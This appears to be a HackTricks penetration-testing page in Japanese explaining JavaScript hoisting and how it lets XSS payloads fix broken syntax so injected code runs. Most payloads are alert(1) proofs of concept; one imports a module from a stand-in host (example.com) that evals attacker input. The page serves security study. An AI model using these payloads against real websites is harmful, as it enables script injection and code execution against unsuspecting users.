# JS Hoisting {{#include ../../banners/hacktricks-training.md}} ## 基本情報 JavaScript言語では、**Hoisting**として知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられます。このプロセスはJavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。 最初のパスでは、エンジンがコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されるプロセスです。解析フェーズが成功すれば、構文エラーがないことを示し、スクリプトの実行が進行します。 理解することが重要です: 1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に守られなければなりません。 2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現とは異なる場合があります。 #### ホイスティングの種類 MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります: 1. **値のホイスティング**:宣言行の前にそのスコープ内で変数の値を使用できるようにします。 2. **宣言のホイスティング**:宣言前にそのスコープ内で変数を参照できるようにしますが、変数の値は`undefined`になります。 3. このタイプは、実際の宣言行の前に変数の宣言があるため、そのスコープ内の動作を変更します。 4. 宣言の副作用は、それを含む他のコードが評価される前に発生します。 詳細には、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let`、`const`、および`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。 ## シナリオ したがって、**未宣言のオブジェクト**が使用された後に**JSコードを注入できる**シナリオがある場合、宣言することで構文を**修正**できる(エラーを投げるのではなく、あなたのコードが実行されるように): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` ## さらなるシナリオ ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) // You can inject alert(1));function x(){}// // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined x.y(1,alert(1));function x(){}//) ``` ```javascript // Undeclared var accessing 2 nested undeclared method x.y.z(1,INJECTION) // You can inject ");import {x} from "https://example.com/module.js"// // It will be executed x.y.z("alert(1)");import {x} from "https://example.com/module.js"//") // The imported module: // module.js var x = { y: { z: function(param) { eval(param); } } }; export { x }; ``` ```javascript // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/ // It was injected the: let config;`-alert(1)`//` // With the goal of making in the block the var config be empty, so the return is not executed // And the same injection was replicated in the body URL to execute an alert try { if (config) { return } // TODO handle missing config for: https://try-to-catch.glitch.me/"+` let config ;`-alert(1)` //`+" } catch { fetch("/error", { method: "POST", body: { url: "https://try-to-catch.glitch.me/" + ` let config;` - alert(1) - `//` + "", }, }) } ``` ## 参考文献 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios) - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/) {{#include ../../banners/hacktricks-training.md}}